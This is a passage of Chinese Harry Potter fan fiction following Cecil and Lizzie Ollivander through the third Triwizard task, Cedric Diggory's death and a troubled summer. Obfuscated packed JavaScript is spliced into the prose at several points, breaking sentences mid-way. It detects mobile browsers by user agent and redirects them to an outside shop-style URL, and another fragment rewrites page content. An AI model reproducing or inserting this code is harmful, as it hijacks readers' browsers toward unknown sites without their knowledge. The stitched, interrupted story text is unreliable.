夜色已深,本应该早早从霍格沃茨回魔法部的塞西尔磨磨蹭蹭了一整天,早晨与莉兹见过面以后,她就在海格的小屋里跟牙牙玩抛接球游戏,只是以一条狗来说,牙牙的动作实在是太迟钝了,塞西尔好几回都被球砸了脑袋,它嗷嗷几声,算是表达了自己委屈。 午后天气又晴朗了一些,她跟海格带着两桶切好的生肉给饲养在棚里的夜骐喂食,旁边还有几只长相奇特的炸尾螺。海格很热情地主动讲解了他是如何“杂交”出这种动物的,出于对朋友的关心,塞西尔只能委婉地提醒他这也许从某种程度上已经违反了保护神奇动物法,不然下次又会有丽塔·斯基特那种无良记者继续大做文章的。 这会儿抬头看着头顶一弯月,塞西尔也注意到自己的守护神回来了,一头白色母狮站在一棵树后,毛发在夜风中微微摆动,她慢慢靠近接着低下头蹭了蹭塞西尔的膝盖,大约是要准备引路了,塞西尔便匆匆与海格打了招呼,一头扎进禁林的深处。 尽管卢平说过寻找西里斯的事情他会负责,但塞西尔实在气不过,想到那条“离家出走”的大黑狗,她就想自己一定要第一个把它揪出来,然后狠狠踢狗屁股泄愤。 白狮子将她带到了一处山洞前,漆黑一团什么也看不见,只有守护神周身微弱的白光,勉强照亮了一点,塞西尔警惕地按住了自己的魔杖,突然窜过一个黑影,却被白狮子吼叫的动作吓得定在了原地。 “荧光闪烁。”她弯腰去照地上的黑影,那是一只红色长毛波斯猫,而它显然也没有被吓到,它弓起背做好了完备的战斗姿势。 与神奇动物打了多年交道的塞西尔立刻示意白狮子不要表现出任何敌意,自己则是放轻脚步,一点一点向山洞里走。谁料再下一秒,扑上来的则是更加庞然的一个黑影,足有人高的黑色长毛犬,将她按倒在地,它嘴里叼着一根魔杖,而塞西尔已经将魔杖对准了长毛犬的下巴,她微微一笑:“找到你了。”说罢,塞西尔一个翻身坐起,抓住黑狗的后颈,熟练地把它制住。 “嗷!” 结果那只猫竟扑上来挠了她的手背,塞西尔吃痛地喊了一声,被迫松开手,还得拦着白狮子不要反击。 山洞被魔法照亮,角落里一个头发凌乱的男生站直了身子,他用一件黑色长袍将自己裹住,然后转头看向了身后:“克鲁克山,她是我的朋友。” 发狂的猫非常听话地放过了塞西尔,一溜烟跑出了山洞,消失在树林间。 “真是好笑,我还是你的朋友呢?”本就带了一肚子怨气的塞西尔看到对方那张憔悴的脸也收起了一半的愤怒,“这么长时间你就躲在这里?” 西里斯对塞西尔的心情有点复杂,他一时半会儿讲不明白,如果说监视者和被监视者的关系可以被称之为朋友,他想这一刻他会非常果断地点头,可是他的确没有这么做,反而是顾左右而言他地开口说:“这里离哈利比较近,让我更安心。” “你识字吧,知道怎么写字母吧,留封信再出走行不行,青少年。”塞西尔还是没克制住自己,上前一步扯过他的衣领,宽大的袍子滑下一半,冷得西里斯打了个冷颤。 “所以你是来抓我回去的吗?”西里斯半放弃地看向她,由着她几乎要扯坏自己的领子。 “我只是确认你没有再搞出什么麻烦让我没办法和邓布利多先生交代。”塞西尔深吸一口气,慢慢平静下来,“认识一下,这是我的守护神,之后就由它接管你。” “说实在的,她和你不太搭调。”西里斯一个个扣好巫师袍的纽扣,“我是说,我以为你的守护神应该是一只喝醉酒的猴子之类的。” “你是觉得我消气了吗?”塞西尔狠狠瞪了他一眼。 “好吧,我闭嘴。”西里斯两手举起,仿佛投降,“你今天是特地找来的?” “不是的,就是顺便。”塞西尔别过脸,“第三个项目的场地准备好了,我是来工作的。” “你也会负责第三个项目?”西里斯问道。 “我主动要求的,我觉得……我们之中有的人不能够完全相信。”塞西尔没有直接点出姓名。 “所以你也认为是内部人员想要对哈利不利?”西里斯继续问。 犹豫了一阵,塞西尔点头,并将发生在莉兹身上的事情一并都告诉了他,同样的,也包括对阿拉斯托·穆迪的调查。 西里斯皱起眉头,眼里的忧虑逐渐加深:“那邓布利多是怎么想的,哈利现在对穆迪非常信任。” “我只能说,我们尽量把阿拉斯托从第三个项目中排除了,现在对项目内容完全知晓的,只有设计迷宫的弗立维教授,我和负责种植树篱的海格。”塞西尔解释道。 “难道不是应该直接对他下手吗?”西里斯不解。 “我们谈论的是阿拉斯托·穆迪,不是刚刚跟你统一战线的那只猫克鲁克山,”塞西尔强调,“魔法部不能直接把一个前傲罗和霍格沃茨的教授关起来,别说福吉批不批,金斯莱那里都过不去。” 西里斯沉默。 “我发誓,从我第一次带你去巴黎的时候我就说过,你要怎么样保护那个孩子,我就会怎么样保护他。”塞西尔拍了拍身上的尘土,“时间不早了,你最好少和你的教子透露这些,小孩子撒不了谎,打草惊蛇的话谁也救不了。” 转眼,山洞里又变得漆黑,白狮子也消失了,西里斯知道她还没走远,便跟在后头说:“对不起,总之,对不起。” 走出树林塞西尔发现自己又回到了海格的小屋附近,拄着拐杖的穆迪正站在门前和海格说着话,她后退了半步没让他们看到她,接着换了一条路离开霍格沃茨。 结果隔天一早塞西尔就意识到昨晚她至少应该多留半小时的,邓布利多的信是凌晨四点左右送到的,喝了一整瓶白兰地的塞西尔醉得不省人事,醒来时才发现一个信封盖在了自己的额头上,挣扎着起身,连忙拆开信件。 怎么什么倒霉事都会被那孩子碰上,塞西尔在心里这样想着。 巴蒂·克劳奇,一个魔法部管理层官员先是被指控袭击一名外国学生,接着竟然在霍格沃茨范围内失踪了,这件事太严重了,甚至严重到魔法部部长福吉独自一人同邓布利多商议解决办法。很显然,他坚持在比赛结束前维护住英国魔法部的脸面,将此时压下去,所以无论邓布利多提出任何推论,都一并被他驳回。 而一直被怀疑的阿拉斯托·穆迪在斯内普的调查下被证实那段时间正在和海格说话,过了一会儿才出现在事件发生现场。塞西尔发现自己意外成为了目击证人,而且还是证明穆迪无辜的证人。她越来越发现自己走的这条路根本就是在原地打转,一步都没有前进,懊恼的情绪充满了她的脑海。 唯一值得庆幸的是,由于福吉对信息的控制,在校的学生们没有收到任何影响,之后的日子里,大家仍然在为着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男生呆愣在原地发现自己手里的魔杖被抢走了,一脸吃惊地瞪大了双眼,塞德里克则是微笑起来,胸前的级长徽章闪了闪,他说道:“不要在走廊上用魔杖指着别人的背后,这很无礼。” 然后他抬手将男生的魔杖抛回去,对方慌忙低头说对不起,飞速离开了中庭。 “你看我都说了,是你的问题。”塞德里克两手摊开,向莉兹表示自己一上午都没成功不是因为不会用咒语。 “我有什么问题,太强了吗?”莉兹昂起下巴说。 塞德里克便没忍住笑出了声,好一阵子才安定下来,再次作出战斗预备动作:“好的,我继续。” 变得强大吧,变得无懈可击吧,莉兹不知道什么样的祝福对即将参加比赛的好友是最合适的,她只能一遍又一遍地重复着那样的话,然后一遍又一遍要求塞德里克用更加强力的咒语将自己打飞。 决战日带来了入夏前最后一场大雾,将整个苏格兰高地变得灰蒙蒙的,空气中的湿度催化了紧张的情绪,给人溺水的错觉,在观众席上,身旁的秋抓住了莉兹的手,她太用力了,莉兹觉得自己的手腕有些发麻。 塞德里克穿着赫奇帕奇魁地奇校队的衣服,那是最防风也最方便行动的,上场前他紧紧拥抱了秋,在她的前额印下轻轻一吻。红了脸的秋眼眶含泪,但她相信塞德,也相信一直在帮助他的莉兹。 她相信他会回来,然后再次亲吻她的脸颊。 70. “胆小鬼”的道歉 不知过去了多久,起初还能听到迷宫里传来一些声响,比如哈利·波特大声喊出咒语的声音,或是那些神奇动物的吼叫,这都让观众席上的所有人听得胆战心惊。随着他们每个人往迷宫深处前进,一切也变得寂静,邓布利多让前排的乐队重新开始演奏,还讲起了一些关于过去三强争霸赛的故事,慢慢吸引了大家的注意力。 可是时间太长了,长到那一大片覆盖着场地的迷雾都被风吹散,头顶显现出晴朗的夜空,闪烁着的星光,美得令人失语,莉兹抬起头,她看到有一颗星星划过,这在六月是不常见的星象,而后守在迷宫一方的塞西尔突然穿出了树篱,她顾不得旁人的眼色,直接冲向了站在入口处的阿拉斯托·穆迪,她眼神中透着毫不掩饰的杀意,步步紧逼,直到穆迪退到了场地边沿,将立在那里的几面校旗全部撞倒。 “他们去哪里了?”塞西尔举起魔杖,几乎到戳到穆迪的眼睛,“说!” 尽管众人皆知塞西尔是个疯女人,但是魔法部内部人员大庭广众逼问一个学校的教授,这是康奈利·福吉不能接受的,他匆忙离开裁判席,在邓布利多走到他们二人面前时,已经伸手拉开了塞西尔。 “他有问题,”塞西尔重复,“我说过很多遍了,他有问题!”她看向邓布利多,试图得到支持,都到了这一刻,她无法再考虑什么保密,什么秘密身份了,她完全忘记了自己是怎么劝解西里斯·布莱克的。 “我们进去谈话。”邓布利多平心静气地走过来,然后转头对福吉说,“康奈利,这里还需要你主持工作。” 福吉回头看了看观众齐刷刷的视线,思索了半刻,决定回到裁判席,而暴脾气的疯眼汉此时只是冷哼了两声,他一点不在乎自己是不是被魔杖指着,更不在乎塞西尔的指控,他望了一眼迷宫的方向,昂起头来甩开塞西尔的手,走在了最前面。 魁地奇办公室的门被打开的瞬间,穆迪飞速地掏出了魔杖却没有成功偷袭任何人,因为邓布利多挡到了塞西尔身前,他的眼神冷冰冰的,抬手将咒语弹开,抓着穆迪的衣领,将他死死按在了办公桌的椅子上,那扶手长出了新的枝条,穆迪被捆绑起来。 “好的,你现在可以回答塞西尔的问题了?”邓布利多发问,“你做了什么?” 穆迪只是时不时笑两声,嘴巴闭得紧紧的。 “那是一个门钥匙,”一旁的塞西尔陷入了深深的自责,她瞪着穆迪,“我不知道你是什么时候把奖杯替换的,但我也不介意对你用一点非常规的手段。” “不,等西弗勒斯来,我需要你去找他,这里需要一些足够强力的吐真剂。”邓布利多再次拦住塞西尔,“我也需要知道真正的阿拉斯托·穆迪在哪里?” 眼前的男人依旧不发一语,他那个假眼转来转去,断了的腿在地上不断地敲打着节奏,好像还在欣赏外面乐队演奏的音乐似的,塞西尔看着这张熟悉的脸上竟然露出如此陌生的神情,胃里就一阵翻涌,她一点都不敢想这张脸真正的主人到底出了什么事。 留在城堡内的西弗勒斯·斯内普听见了急促的敲门声,仿佛要把他这间办公室的木门都敲散架了似的,正要起身去开门时,门被一个咒语炸开,他震惊地呆站在原地,而“凶徒”竟然还恬不知耻大摇大摆走进来抓住了他的手腕。 “邓布利多先生需要你,”塞西尔扫了一眼两旁的药剂柜,“还需要这个。” 女人的动作实在粗鲁,仅仅挪动了几步就将办公室搞得一团乱,斯内普的愤怒几乎要让他爆炸了,他不满地抽出自己的手,咬牙切齿地说道:“所以你就是塞西尔·奥利凡德,那个疯子。” “没错,我是那个疯子,够了吗,”塞西尔翻了个白眼,“不是让你盯着阿拉斯托吗,你盯到了什么,那孩子现在失踪了。” 斯内普皱起眉头,抢过吐真剂和她走在去场地的路上。 “那不知道是谁的家伙把奖杯变成了门钥匙,现在波特和迪戈里小子都不见了……”塞西尔解释说。 “所以不是你的问题吗,据我所知,奖杯是你负责的。”斯内普可不会嘴上饶人。 塞西尔又翻了一个白眼,她现在真想扯着斯内普那头油腻的黑色长发把他塞进洗手池里,干脆是没再回话。这两个被邓布利多信任着的人的初次见面,不仅算不得愉快,时机也糟糕到不行,因为他们一前一后到达了迷宫前时,失踪的两个孩子也出现了——就那样从空中落到了地上,一人浑身沾着血,一人面色苍白瞪着双眼。 不敢有一秒的停顿,塞西尔与斯内普立刻走进了办公室,邓布利多看着他们凝重的表情心里一沉,迈开步子大步走出去,观众席的欢呼声被凄厉的尖叫声替代,这时候被困在椅子上的男人才终于有了点其他的反应,他大喊着:“让波特过来,我要见波特!他必须过来,否则我不会说任何事!” 他一边挣扎,面部也变得越发扭曲,那些沟沟壑壑的皱纹一点点变得平整,假眼从眼眶里掉出来,灰色的头发慢慢变短,直到变成淡黄色,那条短腿也长了出来,义肢掉在了地上,变化的身躯让原本束缚住他的枝条不再贴合,他几乎就要从椅子上逃离。 “昏昏倒地!”塞西尔迅速送上了一个昏迷咒,同时将他捆得更严实了一点,接着弯腰捡起地上穆迪的假眼,随意擦了擦塞进了口袋。 再次直起身时才有功夫打量男人的长相,她和斯内普同时愣住了,他是应该已经死了许多年的小巴蒂·克劳奇,老克劳奇的儿子。 “但是把他打昏了要怎么审问?”斯内普皱起眉头,“浇一盆冷水吗?” “你有什么清醒剂吗,和吐真剂一起用?”塞西尔问,“或者,摄神取念?” 斯内普一时失语,过了好久才憋出一句:“疯子……” 而场外的尖叫声也渐渐平息,不断有脚步声掠过他们头顶,像是散场的讯息,一波又一波,直到只剩下了深夜里呼呼的风声。 最糟糕的、最难以接受、最可怕的结局,在最后一个项目正式开始前,莉兹设想了无数种,她想过塞德里克会被八眼巨蛛的蜘蛛网困住,也想过塞德里克在迷宫里绕上三天三夜找不到出口,她甚至认为哪怕受点伤也是可以的,毕竟谁都不知道那里面会有什么。 在那个当下,莉兹把自己扔给了唯一能够正常行动的理智,她抬手捂住了秋的眼睛,小声告诉她:“不要看,不可以看,你会忘不掉。”然而止不住的泪水从她的指缝间流出,秋在她的怀里颤抖,起先是抽泣,而后是痛哭,最后她脱力似的跪倒在地。 两个学生主席都站在了台阶最高处,杰姬指挥所有的级长将各自学院的学生带回城堡,卡特则是向莉兹这里走来,他弯下腰背起失去意识的秋,然后强忍哭腔说:“我会把她送到校医院,低年级的孩子还需要你,我们先做好我们能做的。” “我知道了。”莉兹走下去扶起被绊倒的格雷厄姆,然后走过去跟被吓坏了的罗杰·戴维斯说,“你去领队,把孩子们都带回去。” 说罢,戴维斯看着神色依旧如常的莉兹,他觉得她可怕极了,现在一动不动躺在那里的、被宣判了死亡的人,是她入学以来最好的朋友,是和她形影不离的好搭档,是塞德里克·迪戈里。 “罗杰!”她竟少见地提高了音量。 “好……好的!”戴维斯慌忙走上了前,将拉文克劳的学生们集中在一起,一边走一边回头看冷着脸站在风口的莉兹,她没有去看塞德里克一眼,只是在那里没有动一步,不知道在看些什么。 莉兹想自己就快撑不住了,她连为什么都问不出口了,她见麦格教授搀扶着哈利走向了那间被他们仨称做是“老地方”的办公室,于是不管不顾地逆着人流奔下台阶,钻过看台下的通道,来到了办公室外的一角,那里有条缝隙,她和塞德里克曾在这里偷看伍德一个人在办公室里像演说一般讲解着格兰芬多的战术。 塞西尔、斯内普、邓布利多、波特……还有椅子上那个陌生的男人和熟悉的魔杖声音,从桌上那根穆迪的魔杖里发出来的,一整瓶吐真剂被灌入了男人口中,那些不为人知的阴谋一字一句被讲出,难以言喻的寒意和酸楚从莉兹胸口冒出,她想她就快要痛死了。 “你们的防备确实有点作用,但是多亏了那个傻大个,多说两句话就把什么都告诉我了,塞西尔你今早去放奖杯的时候应该看看身后的……” “哦……还有你那个侄女,她确实太聪明了,我还得谢谢她给了迪戈里那么多提示,不然我都不知道怎么提醒波特。而且那天不应该只用一个遗忘咒的,我应该直接杀了她,就像我那个可怜的父亲一样……他们都一样的胆小,明明知道我不是穆迪,却闭口不说,她真以为自己那怀疑的眼神我一点都看不出来吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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摊开围巾,莉兹用那些碎片一块块拼凑成一根完整的魔杖,她一遍又一遍念着修复咒,一遍又一遍,也许有上百遍,碎片纹丝不动,没有一点变化。 “求求你,求求你回来吧,求求你。” “赛德,我做不到更多了,我没办法把它修好了。” “赛德,对不起,对不起……” 那忍了一夜的泪水夺眶而出,一滴一滴落在石砖上。 半个月之后,阿莫斯·迪戈里和妻子为儿子举办了一场简单的葬礼,陆续有塞德里克的朋友们到场为他献上了花束,伍德陪伴着夫妻二人从早忙到晚,下葬之前,他拿出了一根崭新的魔杖,将它交给了迪戈里先生。 “莉兹希望我把它带来,我们三人是最好的朋友,”伍德说道,“她说魔杖选择主人,它会永远属于塞德里克。” “可是塞德的那一根已经……”迪戈里夫人难掩悲伤。 “这是她能为塞德里克做的最后一件事了,一模一样的魔杖,她为他做的。”伍德深深呼吸了一下。 “请将我们的感谢带给她,”阿莫斯双手接过儿子的魔杖,就好像能感受到儿子的存在一样,“谢谢她,也谢谢你,奥利弗,谢谢你成为塞德的朋友。” 与此同时,伦敦的另一边,英格兰魁地奇青训营内,莉兹·奥利凡德在进行着今天的第二百次冲刺练习,实际上半小时前她就应该停止训练了,球场上早已空无一人,夕阳落下,余晖照得她双眼刺痛,鼻子发酸。 可她不想停下来,她想让自己变得筋疲力竭,失去思考的能力,但是无数的画面却仍在眼前闪现 ——当奥利弗·伍德红着眼眶出现在她面前,她冷静地、仿佛毫无感情的人一般,同他讲述着自己犯下的“错误”时,男孩那宽厚的肩膀和温暖的拥抱,无数次地在她心里最脆弱的地方重建起新的归处。 ——当她松开爸爸罗里·奥利凡德的手冲进店里,她焦急地将那些碎片展开在爷爷的面前,她觉得爷爷总会有办法,老奥利凡德面对魔杖的时候总是有办法。 “既然你已经知道了什么是属于迪戈里先生的魔杖,你便可以创造出一个新的。”老奥利凡德握住她的手,“这是我做不到,但只有你能做到的。” “只有我吗?”她盯着爷爷的眼睛。 “是的,是你的天赋。”老奥利凡德回道。 ——当塞西尔把所有的真相,无论是莉兹知道或是不知道的,一并揭开的时候,终将做出选择的时刻也被推到了莉兹的面前。 她的姑姑,被兄长误解的疯女人,她选择从不是黑暗的一面,而在知晓这一切的一刻,莉兹的心也做出了回答。 “如果战争真的会开始,我不再逃跑了。”她对塞西尔说。 71. 世道真的不太平 奥利凡德家常常是寂静的,似乎沉默不语是每个家庭成员的共识,米歇尔只会在她认为需要对女儿进行教育的时候开口说话,而丈夫罗里和每一位传统的父亲一样,也像他自己的父亲一样,并不插手这个家里所有的事情,仿佛他们只是凑巧住在了一起。 自从妻子远去西班牙工作,家里自然变得更是冷清,参加了魁地奇青训营的莉兹总是早出晚归,她在假期刚开始时通过了幻影移形考试,能够在对角巷与球场自由来去。这一个月以来,父女两人几乎说不上半句话,他的记忆停留在莉兹从国王十字车站走出来的那一刻,她木然地重复着“带我去店里”,抓着他的袖子,松手时上面有深深的指痕。 罗里不受控制地将那时的莉兹看成了自己的妹妹,那一年的塞西尔也是这番模样,脸色苍白、眼神空洞,只是他没有听完她的话,只是对她说:“如果你一定要去参加那个男孩的葬礼,那这里就将不再是你的家。” 成年的兄长以家族之名将与食死徒勾结的妹妹逐出家门,他曾经坚信那是正义之举,就像他后来不顾战时动荡,也要第一时间收治隆巴顿夫妇一般,他毫不怀疑自己所作所为的正确性。 小奥利凡德先生是个足以被称道的好人,周围人都这样说。 夏日里白天变得异常漫长,每周不需要值班的那几天,傍晚前便下了班回到家中的罗里面对着空荡荡的屋子,心里有些五味杂陈。可明明以前的生活就是这样,忙于球队的妻子,寡言冷淡的女儿,他甚至与住在魔杖店里的老奥利凡德也是鲜少交流,究竟是从什么时候开始,他察觉到了变化。 或许是因为在圣芒戈医院与塞西尔的碰面,他那时一眼就认出了坐在轮椅上被她推进病房的男人,疯眼汉阿拉斯托·穆迪,传闻中阿兹卡班有一半的人都没能逃过他的抓捕。如此威风凛凛的人,灰白的头发被剪秃了一大块,神情憔悴,在长时间的夺魂咒影响下他暂时失去了正常的判断能力,若是有生人靠近,立马就会应激地身体紧绷,仿佛下一秒要把对方撕开似的。 塞西尔和他两个人花了好一番力气才让穆迪在病床上安稳躺下,接着她拉上了帘子,举起魔杖画了一个圈,念了一个防止窃听的咒语和一个驱逐咒语。 “邓布利多先生知道你是这方面的专家,而且阿拉斯托也是我这么多年的好友,他身上发生了一些不好的事情,我不能与你详谈。”塞西尔的语气冷淡,似乎不愿解释太多,“总而言之,希望你能帮助我们。” “希望你还记得,我是一个治疗师。”罗里似乎听见了自己脑海里有什么东西坍塌了,一种十几年来根深蒂固的印象,那个被他逐出家门的妹妹的形象,如同一座雕像正在一点点裂开。 “我当然记得,不然邓布利多先生不会同意将阿拉斯托送到医院来,”塞西尔抬起头,“福吉之后应该会派魔法部的人过来,如果可以的话,我希望罗里你帮忙拦住他们,更不要提到我,就说阿拉斯托的身体状况不好。” 很显然奥利凡德家的人都敏锐得很,罗里看着妹妹的眼睛,没有再多问一句,只回答道:“我明白了,我会的。” 当她伸手要解开咒语时,他犹豫了一阵终于又开口:“西西,其实……” 亲昵而陌生的称呼说出口的瞬间,塞西尔轻笑了一声,她打断了哥哥的话:“罗里,我们太像了,伊莉莎也是,我们都只愿意相信自己愿意相信的。” 她掀开床帘转过身:“但是这样就好,请你不要放弃相信。” 这世道似乎越来越不太平了,人们几乎不愿在反常的炎热天气下出门,而《预言家日报》上那篇标题为霍格沃茨是否仍然安全的文章让家长们更是人心惶惶,应当在开学日前迎来一次人潮的对角巷门可罗雀。新生的数量骤减,奥利凡德魔杖店自然是没了生意,连丽痕书店的书架上都积了一层灰。 这些也许还能赖在百年一遇的暑气上,可魁地奇速报接连几周发布的夏窗消息,让人不得不在意。假如有一年,参加英联赛的所有俱乐部中几乎全部的外籍魁地奇选手都纷纷选择了转会离开英国,谁都能看得出这一定是发生了什么,或者是即将要发生什么。 时间节点就在英魁协目前的主席科班·亚克斯利发布公告之后,他首先要求各俱乐部严格控制对外籍选手的引援费用,美其名曰维持薪资平衡;其次以最新的巫师保密法为准,命令各俱乐部在举办主场比赛时对观众进行大规模筛查,理由是英魁协接到了太多由麻瓜政府转来的投诉,认为这项大型运动已经干扰到了他们的正常生活。 并且,禁止麻瓜出身的巫师选手将比赛门票赠给无法使用魔法的家人。 显而易见,这一公告无疑是在整个魁地奇界扔下了一颗炸弹,即便到了这个时代,麻瓜出身的巫师依然是整个群体中的少数派,即便是与纯血巫师通婚,混血巫师在诸多“极端保守派”看来都是背叛者。魁地奇作为巫师的第一运动,受众极为广泛,而英魁协竟在此时公开表示出种/族/主/义倾向,不跑路的人才是傻子。 这天早晨,莉兹坐在更衣室的板凳上翻着最新的一份魁地奇速报,来自普德米尔联队的一位麻瓜出身的选手因为母亲被拦在了主场外,愤怒之下选择了罢赛,队友们为了声援他,也一起扔下了扫帚,他们的对手是霍利黑德哈比队,听闻罢赛一事的原因,也站出来响应,全队十几位女选手手牵着手站在球场中央,面向着球场的出口,望着那位母亲。 还没看到下一页,青训营其他人吵吵嚷嚷地走了进来。 “梅林啊,昨天普德米尔和哈比的比赛可太刺激了。” “我听说普德米尔首发六人加上哈比队全部都给了红牌。” “普德米尔那个年纪最小的守门员叫奥利弗那个,上一场已经拿过牌了,这回要禁赛两场。” “禁赛?我看是永远不给他上场了吧,听说他差点和自己教练打起来。” “我记得那家伙的女朋友……” “哦,你在啊。” 不知是故意的还是莉兹的存在感确实低得惊人,他们转头看见将报纸叠起来扔进垃圾桶的莉兹时并未露出尴尬神情,似乎即便真有言语冒犯也无所谓似的。所有人继续着刚刚的话题,而莉兹已经穿戴完装备,拿起靠在墙边的光轮1700,上面还刻着米歇尔的签名,一言不发地离开了这里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487859|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有些事她必须得承认,米歇尔二代的名号曾在过去给她带来了一些优待,然而当米歇尔成为诺坎普主场的教练的时候,二代便成了一顶足够沉重的铁帽子,所有人都能在这上面锤上一榔头,说她妈妈是为了钱抛下英格兰的叛徒。那顶帽子的的确确也是她进入青训营的钥匙,而非前期的公开选拔,所以莉兹从起初就被扔到了被动的位置。 可以这样说,这整段时间的训练生活非常糟糕,无论是不间断的训练日程与拉练赛,还是更衣室的氛围,一切都太糟糕了,她简直想不出来其他的形容词。只是即便如此,莉兹还是贪恋青训营带给她的这种忙碌感,让她腾不出一点空闲留给大脑去思考或是去回忆,疲惫的身体跑在了思维的前头,给她提供了合理的入睡条件。 否则,她是真的完全睡不着。 不过正如刚刚那位队友所说的,最近奥利弗·伍德的生活可能更为艰难,莉兹又怎么会不知道。毕竟所有俱乐部中第一个站出来反对亚克斯利的是普德米尔联队,而在队伍里第一个站出来支持麻瓜出身队友的人正是伍德。 他在信中问她:“我这么做是不是太冲动了?” 莉兹写回信时微笑着,她写道:“可我也会这么做的。” 被禁赛两周的伍德之后每天都会来这里接莉兹回家,他们很少用幻影移形,反而是骑着扫帚,穿过空旷的原野,有时会在山林间停留一阵,安静地散散步,树下的阴凉扑灭了炎炎夏日,带来了难得的闲适。 青训队里那些难堪的事情,莉兹极少对旁人提起,哪怕米歇尔在信中问及,自己也总是敷衍过去。况且强悍如米歇尔,她认为抓住锻炼自己的机会比和队友成为好朋友更重要,大约也不会太过关心女儿的处境,莉兹自然早就学会了不叫苦不叫累。 可是面对着伍德的时候,莉兹倒是诉说得坦然:“我真的挺讨厌他们的,可比起静悄悄的房间,我现在可能更需要魁地奇。” 听着这番话,伍德垂眼看向了身边的她,明明没有人要求她对一切都表现出云淡风轻的态度,但她却一直这么坚持着,他拉过莉兹的手,将她拥入怀中。依然笨口拙舌的奥利弗·伍德不知道要说些什么,只是在她耳边说着:“你也可以需要我。” “我确实很需要你,”莉兹倚在他胸前,“一个人防守的时候常常想到你,如果我身后的人是你的话就好了。” 仿佛角色转换似的,这会儿三句话离不开魁地奇的人竟成了莉兹,伍德闷声笑出来,身子颤抖,便只能两手更用力地抱住她,他说:“如果当时上学的时候我听到你这么说,我一定会爱你到发狂的程度。” “哦,那就是说你现在并没有。”莉兹昂起头看向他。 低头对上那双银白色的眼睛,伍德再次冻在了原地,他慌忙说着“不是的”来解释,可又组织不了更复杂的话语,最后只好涨红了脸,配上那毛茸茸的金棕色短发,像一头蠢熊。 “好了,我知道你的意思。” 见到莉兹被逗笑了,伍德也松了一口气,接着便小心翼翼俯下身,轻轻地吻上她的嘴角,她翘起的卷刘海扫过他的脸颊,酥麻的感觉像有电流经过。 72. 那个疯女人 即便整个伦敦都被扔进了火烤一般都高温之中,那昏暗的翻倒巷依然阴风阵阵,此刻夜幕降临,说不清的凉意透过单薄的衣料,让人汗毛倒立。这里的小路错综复杂,时不时会看到有衣衫褴褛的巫师佝偻着背站在路口,他们的脸色发灰,一口的黄牙,眼神却锐利,只需要一瞥就分辨得出来交易的对象。若察觉到来者为生面孔,巫师袍下藏着的魔杖会瞬间发出恶咒。 曾经的塞西尔吃过那玩意儿的苦,好在躲得够及时,只是左脚少了一个小指。疼痛逼迫她立马逃离,那时觉得自己无处可去,竟幻影移形到了奥利凡德的店里,鲜血从破了洞的皮靴子里流出,染脏了一地的木材废料,吓坏了当时还年幼的莉兹。 不过今时不同往日,擅用易容马格斯的能力,塞西尔在翻倒巷有了自己的另一个角色,旁人不能接手的器具,尤其是染了太多黑魔法的东西,那些被魔法部始终紧盯的赃物,她都能痛快地买下,偶尔连博金博克的老板也得给她半分面子,更别提一些上不得台面的小毛贼。 摘下长袍的帽子,她将灰白的长胡子从衣领中翻出,深色的眼珠子滚圆的几乎看不到眼白,挺直了腰背一步一步走向巷子深处,那里是黑市入口,每天总有拿不到通行证的小贩带着上不得台面的货在这里私下兜售。 认出了前来的人,原本围聚在一起的他们神色变得小心翼翼,只见其中一个小个子抬头的同时便瞪大了眼睛,他一下子扔掉了手上的货,扭头就要离开这里,然而来不及穿出巷口,对方的手杖就勾住了他的外套。两个人一起拐进一个死胡同,从而下的视线似乎快把他撕开。 “别挣扎,分体了没人救你。” 话音刚落,随着一声清脆的爆炸声,他们同时消失在了翻倒巷。 胡子老人转眼又变成了亮粉色短发并将嘴唇涂成深浆果色的瘦高女人,她仍然扯着他的衣服,他不敢反抗,只能被半拖着扔到一扇破旧的门前。这周围有些冷清,两边联排的房子应该住着几户人家,不过感觉不到什么生气,有个麻瓜老太太推着轮椅缓缓从他们身后经过,只是并没有注意到他们。 “塞西尔小姐……还有肮脏的盗贼。” 这扇明显要年头更久一些的大门被打开,一个家养小精灵抓着门环,它两眼突出,耳朵垂在两侧,身上裹着的布看不出原本的颜色,说话的声音也如同呓语。 “克利切,麻烦你了。”塞西尔将宽大的巫师袍和足有她个头那么高的手杖递到它手里,然后一言不发地拽着一脸惊慌的男人向里走,长长的走廊里传来重重的脚步声,他被拉扯得在墙上撞了好几下,楼上立马响起了刺耳的尖叫声,凄厉且震耳欲聋,把整间屋子震得像在晃动。 “看在梅林的份上,你能不能有一次来的时候别整出这些动静!” 不满的控诉声同时从只开了一条门缝的房间里传出来,西里斯·布莱克怒吼着拉开门,在外东躲西藏狼狈了小半年的人顶着一头打理过的自然卷齐肩发,那之后一双深邃的眼睛先是跟塞西尔对视了一眼,而后才注意到一旁意图求饶的男人。 “畜生!叛徒!你们这些……”那尖叫声看来短期内不会停止,西里斯深吸一口气,爬上楼梯,画框里的女人看到了他,骂声更难听了,甚至还伸出手在他的脸上狠狠刮了一道红印。 “天呐怎么又……”楼上又有人探出头来,“唐克斯我提醒过你了,已经很晚了……” “不是我,我和金妮在房间呢!”唐克斯回道。 “妈妈,我们真的在一块儿,还有赫敏。”金妮站到了唐克斯身边伏着楼梯栏杆,“哦,是塞西尔来了。” “嘿,塞西尔。”唐克斯招招手。 “你们都准备这么看着是吧?”西里斯无奈地摇了摇头,莱姆斯·卢平听着动静从一楼的房间里走出来,他和西里斯一人一边,费了九牛二虎之力总算是将两边的帷幔拉上,女人的咒骂也消失在那之后。 